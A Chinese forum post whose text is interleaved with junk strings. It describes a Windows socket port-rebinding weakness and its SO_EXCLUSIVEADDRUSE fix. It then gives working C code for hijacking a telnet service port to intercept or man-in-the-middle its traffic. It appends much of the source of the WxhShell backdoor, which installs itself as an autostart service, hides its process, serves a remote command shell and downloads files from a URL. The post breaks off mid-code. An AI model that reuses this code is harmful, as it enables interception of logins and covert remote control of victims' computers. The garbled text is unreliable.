-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RwWg:4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RP&bb{Y yLX $SR saddr.sin_family = AF_INET; QOF@DvQ
iEr,ly saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Pd*[i7zhC 86r5!@WN bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %fqR L[G O6l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~7P)$[ IU%|K~_n 这意味着什么?意味着可以进行如下的攻击: <\aeC2~M S(Yd.Sp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +2~kHrv M?$[WS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uepyH c3A\~tHW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G 6sK3K >ZgzE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Jg6Lr~!i z ^gJy,T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
157_0 <B"sp r&1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X%1TsCKMj /:&!o2&1H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C|(A/b [4Z 31v> #include {f!/:bM #include C$3*[ #include %`vzQt`> #include Nk`UQ~g$ DWORD WINAPI ClientThread(LPVOID lpParam); (B7G'h.? int main() W.7rHa { (L_-!=e WORD wVersionRequested; Y Y:BwW: DWORD ret; JE?p'77C WSADATA wsaData; 092t6D} BOOL val; fCl}eXg6w SOCKADDR_IN saddr; bf3!|Um SOCKADDR_IN scaddr; 6K $mW int err; ::L2zVq5V SOCKET s; o_b[ * SOCKET sc; +Q*`kg' int caddsize; "(koR Q HANDLE mt; ) "#' DWORD tid; adON&< wVersionRequested = MAKEWORD( 2, 2 ); dn6B43w err = WSAStartup( wVersionRequested, &wsaData ); Hh<H~s [ if ( err != 0 ) { /Y Kd [RQ printf("error!WSAStartup failed!\n"); bm588UQ return -1; Z5{a7U4z_ } }fpya2Xt saddr.sin_family = AF_INET; CU$khz" )oEVafNsT //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0oe<=L]F kH!Z|Ps?R saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <J[le= saddr.sin_port = htons(23); XGlt^<` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C3AWXO ^ { I8F+Z printf("error!socket failed!\n"); -F[8ZiZ return -1; VFT@Ic#] } WSThhI val = TRUE; [)H 6`w //SO_REUSEADDR选项就是可以实现端口重绑定的 WlL(NrVA@@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4Nm >5*] { 95 ;{ms[ printf("error!setsockopt failed!\n"); Re%[t9F& return -1; gW,[X( } U~
{k_'-i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8(3(kZx S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5<?Ah+1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E}^V@ :j> w+o5iPLX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {N(qS'N { _ %s#Cb ret=GetLastError(); LS@TTiN
printf("error!bind failed!\n"); FOaA}D `] return -1; 7KT*p&xm } Ht`fC|E listen(s,2); {sTf4S\S while(1) x"r0<RK { T+8Yd(:hX caddsize = sizeof(scaddr); 68%aDs //接受连接请求 #-az]s|N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sn:>|y~ if(sc!=INVALID_SOCKET) B5\l&4X { 1=VyD<dNG6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /%$Zm^8c if(mt==NULL) 8jK=A2pTa { ET*A0rt printf("Thread Creat Failed!\n"); $KcAB0 B8 break; SA,~q& } gt4GN`-k } FlO?E3d CloseHandle(mt); 9~p;iiKGG } ;_sJ>.=\ closesocket(s); BD6!, WSACleanup(); --HDE c| return 0; D@=]mh6vl } H4i}gdR DWORD WINAPI ClientThread(LPVOID lpParam) }gSoBu { !G%!zNA S SOCKET ss = (SOCKET)lpParam; tpI/Ibq SOCKET sc; g |)>65v unsigned char buf[4096]; }OkzP)( SOCKADDR_IN saddr; jAQ{H long num; s>9I#_4] DWORD val; e\)%<G5 DWORD ret; u5CSx'h] //如果是隐藏端口应用的话,可以在此处加一些判断 l|g*E.:4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 C&O8fNB_ saddr.sin_family = AF_INET; E2hsSqsu=
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W3i<Unq
saddr.sin_port = htons(23); Z<U,]iZB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Ga'_P: { bbL\ xq^ printf("error!socket failed!\n"); &H_/`Z]Q return -1; /cS8@)e4 } fb
f&bJT val = 100; RXRbW %b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /.:1Da { !&%KJS6p4 ret = GetLastError(); ~XUUrg; return -1; Fd8nR9A } p5In9s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +kI}O*s { lU 9o"2 ret = GetLastError(); $`xpn#lz return -1; x]VycS } i7RK*{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IO7z}![V; { qJ" (:~ printf("error!socket connect failed!\n"); U& GPede closesocket(sc); hn .(pI1 closesocket(ss); m.P
F'_)/ return -1; $y;w@^ } uNewWtUb( while(1) &"u(0q { 7$7|~k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gn7\4,C //如果是嗅探内容的话,可以再此处进行内容分析和记录 )t~ad]oM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H:b"Vd"x9 num = recv(ss,buf,4096,0); u%L6@M2 if(num>0) \,v^v]| send(sc,buf,num,0); Qfe u3AT else if(num==0) hz bvR~rn break; K*^'tltJ num = recv(sc,buf,4096,0); -0uGzd+m* if(num>0) \*PE#RB#6 send(ss,buf,num,0); "P.sKhuo else if(num==0) :WH{wm| break; (9bU\4F\ } U>IsmF>m closesocket(ss); @MQfeM-@ closesocket(sc); 4JBfA, return 0 ; -X *.scw } 4PC'7V=S r<]^.]3zj AU*]D@H ========================================================== jKP75jm Ev#,}l+ 下边附上一个代码,,WXhSHELL vU/sQt8 yyPj!<.MGP ========================================================== 8}z PDs U ;4;> #include "stdafx.h" oW7;t 4pDZ +}p #include <stdio.h> &=8ZGjR< } #include <string.h> }k1[Fc| #include <windows.h> TDtHRhq7 #include <winsock2.h> k \t6b1.M #include <winsvc.h> EU5(s*A #include <urlmon.h> (yu0iXZY ' ]Km%uwL #pragma comment (lib, "Ws2_32.lib") (_q&QI0{ #pragma comment (lib, "urlmon.lib") ~O~we i;)r|L`V? #define MAX_USER 100 // 最大客户端连接数 a
8jG')zg #define BUF_SOCK 200 // sock buffer :Ea]baM" #define KEY_BUFF 255 // 输入 buffer Z${@;lgP {.,y v>% #define REBOOT 0 // 重启
(+\K #define SHUTDOWN 1 // 关机 @0:mP &kOb#\11u #define DEF_PORT 5000 // 监听端口 3~0Xe :;x#qtv~Iz #define REG_LEN 16 // 注册表键长度 2LN5}[12] #define SVC_LEN 80 // NT服务名长度 %8L5uMx d7QQ5FiB // 从dll定义API +hvVoBCM* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |7T!rnr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ">RDa<H] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K>$od^f%c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _^ @}LVv+E 6{I5 23g // wxhshell配置信息 hE/y"SP3 struct WSCFG { k4-C*Gx$h int ws_port; // 监听端口 7,"1%^tU char ws_passstr[REG_LEN]; // 口令 <BN)>NqM int ws_autoins; // 安装标记, 1=yes 0=no :U;ZBs3 char ws_regname[REG_LEN]; // 注册表键名 K`1\3J) char ws_svcname[REG_LEN]; // 服务名 iyhB;s5Rgw char ws_svcdisp[SVC_LEN]; // 服务显示名 = %7:[#n char ws_svcdesc[SVC_LEN]; // 服务描述信息 BT+ws@|[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gasl%& int ws_downexe; // 下载执行标记, 1=yes 0=no ]urcA,a char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Lp/]iZ@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [w)6OT f-6E> }; /T*]RO4%>] L*VGdZ // default Wxhshell configuration 2{h9a0b struct WSCFG wscfg={DEF_PORT, ni]gS0/ "xuhuanlingzhe", T ~t%3G
1, ;xa]ke3] "Wxhshell", XH2g:$ "Wxhshell", ,k@fXoW "WxhShell Service", _W*3FH "Wrsky Windows CmdShell Service", 4S.%y7d\ "Please Input Your Password: ", ?Zoq|Q+ 1, gzHjD-g-< " http://www.wrsky.com/wxhshell.exe", c66Iy" "Wxhshell.exe" crC];LMl/ }; 4aZsz,= Oy[t}*Ik // 消息定义模块 c-avX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yZ+o7?(2p char *msg_ws_prompt="\n\r? for help\n\r#>"; ;LH?Qu;e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]]%CO$`T[ char *msg_ws_ext="\n\rExit."; \"PlM!0du char *msg_ws_end="\n\rQuit."; OY`G _=6!N char *msg_ws_boot="\n\rReboot..."; D9c8#k9Y. char *msg_ws_poff="\n\rShutdown..."; -acW[$t char *msg_ws_down="\n\rSave to "; dmrM %a}W- bU:"dqRm< char *msg_ws_err="\n\rErr!"; "v~w#\pz7 char *msg_ws_ok="\n\rOK!"; JVTG3:zD M6|Q~8$ char ExeFile[MAX_PATH]; *Xl&N- 04 int nUser = 0; I[<C)IG HANDLE handles[MAX_USER]; D@4hQC\ int OsIsNt; FQ(=Fnqn ]b<k% SERVICE_STATUS serviceStatus;
6z=:x+m SERVICE_STATUS_HANDLE hServiceStatusHandle; $+[HJ{ ;Cyt2]F // 函数声明 t_@%4Wn!1L int Install(void); uu=e~K int Uninstall(void); /k}vm3 int DownloadFile(char *sURL, SOCKET wsh); I#S6k%-' int Boot(int flag); }[l`R{d5q> void HideProc(void); XRj<2U5 int GetOsVer(void); d%4!d_I< int Wxhshell(SOCKET wsl); }e9:2 void TalkWithClient(void *cs); WRFzb0;01 int CmdShell(SOCKET sock); nKkI int StartFromService(void); ]eP&r?B int StartWxhshell(LPSTR lpCmdLine); b^5rV5d &HZ"<y{j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Alp9]
0( VOID WINAPI NTServiceHandler( DWORD fdwControl ); c<-_Vh.:5 *]O[ZjyOY // 数据结构和表定义 aeE9dV~ SERVICE_TABLE_ENTRY DispatchTable[] = i~.L{K {
}r*t
V) {wscfg.ws_svcname, NTServiceMain}, nY}Ep\g {NULL, NULL} %,-vmqr }; ~ N_\V vQ26U(7\> // 自我安装 Ry[VEn>C1 int Install(void) SS@#$t: { [D?RL`ZF char svExeFile[MAX_PATH]; XrtB&h|C HKEY key; `gD'q5.z;3 strcpy(svExeFile,ExeFile); @+:S'mAQC p@NE^aMn // 如果是win9x系统,修改注册表设为自启动 #U(dleT8 if(!OsIsNt) { {Qg"1+hhM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^cDHyB=v4d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !YsLx[+ RegCloseKey(key); yo") G!BN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '1|r+(q|2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZVVK:dDgt RegCloseKey(key); X9#Od9cNaC return 0; rM<c;iQ } Bj;Fy9[yb } * pyi; } iAbtv^fn else { ,57g_z]V {SbA(a?B // 如果是NT以上系统,安装为系统服务 ePa1 @dI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7?qRY9Qu if (schSCManager!=0) c*9RzD#Zj { 3 =KfNz_ SC_HANDLE schService = CreateService k6QQoLb$V ( E@7";&\-8 schSCManager, q4|TwRx~ wscfg.ws_svcname, Gyk>5Q}} wscfg.ws_svcdisp, i_)j K SERVICE_ALL_ACCESS, ;KWR/?ec SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #&\^{Z SERVICE_AUTO_START, Gc<J x|Q7 SERVICE_ERROR_NORMAL, 5<<e_n.2q svExeFile, `
Cdk
b5 NULL, CY?]o4IV NULL, Aj*0nV9_ NULL, W r);A{ NULL, -z-58FLlO NULL Y]0oF_ :7 ); \RnGKQ"4 if (schService!=0) -:Nowb { iKu[j)F CloseServiceHandle(schService); hT>h CloseServiceHandle(schSCManager); 5-0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sT?Qlj'Zd strcat(svExeFile,wscfg.ws_svcname); sf2_x>U1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uB>NwCL; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P)XkqOGpT9 RegCloseKey(key); C=t:0.:PJ return 0; -P]J:7*0?\ } M3Q#=yy$D$ } G9<pYt{: CloseServiceHandle(schSCManager); 403%~ } - (VV } `Yn^ -W vHZw{'5y return 1; K8$Hg:Ky-/ } @sO*O4os> KwlN // 自我卸载 ]0GOSh int Uninstall(void) aEW
Z*y { 2[}^ zTtA HKEY key; 9TjAEeU .Kv>*__-Q if(!OsIsNt) { :@I?JSi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mR,p?[P RegDeleteValue(key,wscfg.ws_regname); IvTtQq RegCloseKey(key); /tikLJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |xG|HJm, RegDeleteValue(key,wscfg.ws_regname); a.v$+}+.[, RegCloseKey(key); GrGgR7eC#P return 0; X4>c(1e } h
`d(?1 } rteViq+|. } N{IY\/;\ else { KFor~A# D
&THM]3: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0|nvi=4~e| if (schSCManager!=0) g2l|NI#c^ { c@1C| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8c\mm 0n if (schService!=0) L01R.3Z+ { 5YUn{qtD if(DeleteService(schService)!=0) { #IDDKUE CloseServiceHandle(schService); .^N+'g CloseServiceHandle(schSCManager); *,-)4)7d return 0; *r!1K!c } wh
l)^D CloseServiceHandle(schService); ;Z:z'';Lm } W1f]A#t< CloseServiceHandle(schSCManager); wb2N$Ew= } + ^{;o0kcx } 12])``9 X&0m$x return 1; x2ln$dSy7 } BP6;dF5E >P/kb fPA // 从指定url下载文件 A0# K@ int DownloadFile(char *sURL, SOCKET wsh) eC%.xu^ { Zk$AAjC& HRESULT hr; `W
e M char seps[]= "/"; M6vW}APH[n char *token; j )Zi4<./ char *file; i >Hh_q;' char myURL[MAX_PATH]; O?p.kf{b char myFILE[MAX_PATH]; Mc oHV]x p+@Wh3 strcpy(myURL,sURL); )p4o4aM token=strtok(myURL,seps); a"&@G=M@d while(token!=NULL) N6=cqUM wt { m{`O.6# O file=token; P.$U6cq token=strtok(NULL,seps); #!u P>/ } G5egyP; BoG/Hd.S GetCurrentDirectory(MAX_PATH,myFILE); X0^gj>GI| strcat(myFILE, "\\"); T9jp* strcat(myFILE, file); s$YKdtR send(wsh,myFILE,strlen(myFILE),0); SE)_5|k* send(wsh,"...",3,0); eft-]c+*0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @riCR<fF if(hr==S_OK) Qzw~\KY: return 0; 1*S It5?4 else h`Vb#5ik return 1; 73P=<3 IhwJYPLF } 9~I\WjB
" "zc@(OA[z // 系统电源模块 $TU=^W)X int Boot(int flag) d?GfT$1 { \v44 Vmfz HANDLE hToken; "B*a|
'n! TOKEN_PRIVILEGES tkp; ,w,>pO'[ #R4Mv(BG if(OsIsNt) { I:U /%cr, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xcnHj1r-o' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k:4 Zc3 tkp.PrivilegeCount = 1; >};,Byv!% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~`
@dI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e'[T5HI if(flag==REBOOT) { *#;8mM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )|@b
GEk return 0; A@bWlwfl } x9xb4ZW else { &{9'ylv-B) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LG'JQGl5 return 0; l
" pCxA } vP^]Y.6 } d#Sc4xuf else { DalQ. if(flag==REBOOT) { yA?>v'K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xr&wV0O'
return 0; H/Cv ?GJF } JaKR#Y$+~ else { bYQ h{q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0bQaXxt|p return 0; Vo+d3 } R?qV FMQ } 0&=2+=[c 0*L|rJf return 1; `!S5FE"- } /D`M?nD7 sSd // win9x进程隐藏模块 )MZ]c)JD^ void HideProc(void) NLyvi,svS { M$ep.<Z1| .{k(4_Q?I HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TP{lt6wws( if ( hKernel != NULL ) a3?Dtoy' { -b~MQ/,2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VH4P|w[YF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %}%D8-d}G FreeLibrary(hKernel); /O|!Sg{ } r(yJE1Wz QtJe){(z+ return; <89@k(\ / } (aVsp*E $5GvF1 // 获取操作系统版本 E}lU?U5i int GetOsVer(void) a({qc0+UK { _DMj)enH" OSVERSIONINFO winfo; c=I!?a" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cBmo#:>' GetVersionEx(&winfo); [#V"a:8m} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _55T return 1; ,r{*o6 else 4U<'3~RN return 0; <]/`#Xgh } m}:";>?# 2n?\tOm(V // 客户端句柄模块 &~pj)\_ int Wxhshell(SOCKET wsl) IE$x2==) { 6T< ~mn SOCKET wsh; _Jk-nZgn struct sockaddr_in client; SOb17:o3| DWORD myID; $JqdI/s ~53E)ilB while(nUser<MAX_USER) CEc&
G { V:6#IL int nSize=sizeof(client); -Hh$3Uv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UYW%%5p? if(wsh==INVALID_SOCKET) return 1; v!t*Ng |o~FKy1'z\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u9:;ft{}N if(handles[nUser]==0) H|0B*i@81 closesocket(wsh); <E$P else o%h\55 S nUser++; B5#a
4G. } UL;d H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @_Aqk{3 ^4Tr
@g#]" return 0; }CsUZ&* & } 5U|f"3&8 ij r*_= // 关闭 socket [4kx59J3b void CloseIt(SOCKET wsh) :|<D(YA { lcJ`OLG closesocket(wsh); ll1?I8}5| nUser--; ?8-e@/E#x ExitThread(0);
&
?/h5< } 9V zk:zOT s.1(- "DU // 客户端请求句柄 dmP*2 void TalkWithClient(void *cs) zN].W\("\ { P{(m: `N 9Lk.\. SOCKET wsh=(SOCKET)cs; eQcy'GA06 char pwd[SVC_LEN]; ~IE:i-Kz char cmd[KEY_BUFF]; =zVbZ7 char chr[1]; 1kio.9NIp int i,j; 1dfA
8=L,s '0H+ 2 while (nUser < MAX_USER) { 5ez"B]&T oVoTnGNM6 if(wscfg.ws_passstr) { TT.EQv5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zY[6Ia{L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4E4o=Z|K //ZeroMemory(pwd,KEY_BUFF); ,U>g LTS i=0; #$jAGt3^BT while(i<SVC_LEN) {
[+{ ot
/Ia=/Jj7N // 设置超时 ~l CG37 fd_set FdRead; v6s8 p struct timeval TimeOut; Zx}=c4I(y FD_ZERO(&FdRead); kC|tv{g#> FD_SET(wsh,&FdRead); xw%?R=&L TimeOut.tv_sec=8; yu#Jw TimeOut.tv_usec=0; .Yha(5( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); feNr!/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6 Y&OG>_\ F__DPEAc_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WHbvb3' pwd =chr[0]; ?aSL'GI if(chr[0]==0xd || chr[0]==0xa) { kG?tgO?* pwd=0; wH|\;M{0V1 break;
H.Jcp|k[; } y>~=o9J_u i++; SjlkKulMF } e6sL N Mk@ _uPm // 如果是非法用户,关闭 socket 4$IPz7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,"h$!k"$g } `*}#Bks! )KXLL;] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +]uy send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !G\1$"T$ 8"oS1W while(1) { w$Dp m.0(
V }8J&(\ ZeroMemory(cmd,KEY_BUFF); >/e#Z
h ]lz,?izMR // 自动支持客户端 telnet标准 >:OOuf# j=0; YI%7#L7C while(j<KEY_BUFF) { JFYeOmR+l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~p'/Z@Atu cmd[j]=chr[0]; 'QCvN b6 if(chr[0]==0xa || chr[0]==0xd) { v#-%_V>ph cmd[j]=0; Ao{wd1 break; M?}2 } C,tlp j++;
>kC@7h5) } eWwSD#N# @q^WD_k // 下载文件 #\`6ZHW if(strstr(cmd,"http://")) { gkBat(Uc send(wsh,msg_ws_down,strlen(msg_ws_down),0); H[-zQ#I9 if(DownloadFile(cmd,wsh)) O,^,G<` send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^<qke else '?3Hy|} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
3D<P
[.bS } %A82{ else { = @3Qsd [c>X Q switch(cmd[0]) { [W^6=7EO )j6S<mn // 帮助 5fVdtJk7 case '?': { :&_@U$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;yHA.} break; 7F+f6(hB } %eD&2$q* // 安装 4jG@ # case 'i': { dr9I+c7u if(Install()) nHZ 4):` send(wsh,msg_ws_err,strlen(msg_ws_err),0);
>St else c:=Z<0S; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I*ho@`U break; vKaX,)P;? } nH[@EL // 卸载 Q8\Ks|u] case 'r': { NiWooFPKJ if(Uninstall()) RCxqqUS\C send(wsh,msg_ws_err,strlen(msg_ws_err),0); hfEGkaV._3 else .'X$SF` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E"V|Plf
c break; 4=q\CK2 ^A } (/qY*? // 显示 wxhshell 所在路径 J3q}DDnEo case 'p': { W:9L!+m^ char svExeFile[MAX_PATH]; v[Ar{t& strcpy(svExeFile,"\n\r"); a2).Az strcat(svExeFile,ExeFile); xhimRi send(wsh,svExeFile,strlen(svExeFile),0); F'SOl*v(s5 break; 61gZZM } V]vk9M2q[l // 重启 `^_.E:f case 'b': { A;2?!i#f send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F}sfk}rp if(Boot(REBOOT)) [0J0<JnK send(wsh,msg_ws_err,strlen(msg_ws_err),0); c&'T By else { ]^j)4us closesocket(wsh); %kVpW&
~ ExitThread(0); *d,SI[c%e } A1YIPrav( break; z&-3H/ } @x{;a 9y // 关机 "]JS,g {m case 'd': { )0UQy#r send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O"Xjv`j: if(Boot(SHUTDOWN)) @Vb-BC, send(wsh,msg_ws_err,strlen(msg_ws_err),0); M?F({#] else { T_\GvSOI closesocket(wsh); T}4RlIZF ExitThread(0); yq;gBIiZ } lIOLR-:4j break; h?$4\^/ } uV%7|/fD // 获取shell m _:ib} case 's': { D $ `yxc CmdShell(wsh); M4')gG; closesocket(wsh); !JrVh$K ExitThread(0); /u#uC(Uwl
break; }dB01Jl
' }
fmloh1{4 // 退出 }|A%2!Q} case 'x': { _jnH!Mw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Xp}d5- CloseIt(wsh); F!SmCE(0x break; {)k}dr } [m('Y0fwO^ // 离开 BQw#PXp3 case 'q': { 9nd'"$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); z?E:s.4F closesocket(wsh); ux-Fvwoh WSACleanup(); r[~Km5 exit(1); %} \@Wk~ break; .O lq_wuH } >eJk)qM } r0S"}<8O } \mv7"TM GS)l{bS#[O // 提示信息 iyj&O" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,gRsbC } WU}JArX9 } 2Uk$9s mtJI#P return; \Dr@n^hk@[ } lfWxdi *[_?4*F // shell模块句柄 i<&2Ffvq int CmdShell(SOCKET sock) 4Jo:^JV { {mueP6Gz@J STARTUPINFO si; 6' ?Y]K ZeroMemory(&si,sizeof(si)); P_i2yhpK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yo:>m*31 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t
ZFG`'/ PROCESS_INFORMATION ProcessInfo; +hKQha!* char cmdline[]="cmd"; +B*ygv: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WvN5IHo 8i return 0; <PJwBA %{ } G~^Pkl3%T w{Dk,9>w) // 自身启动模式 [h,T.zpa int StartFromService(void) 13 { n; !t?jnf. typedef struct #nn2odR { |4wVWJ7 DWORD ExitStatus; kGX`y.-[ DWORD PebBaseAddress; KVqQOh'_T DWORD AffinityMask; %'EOFv]
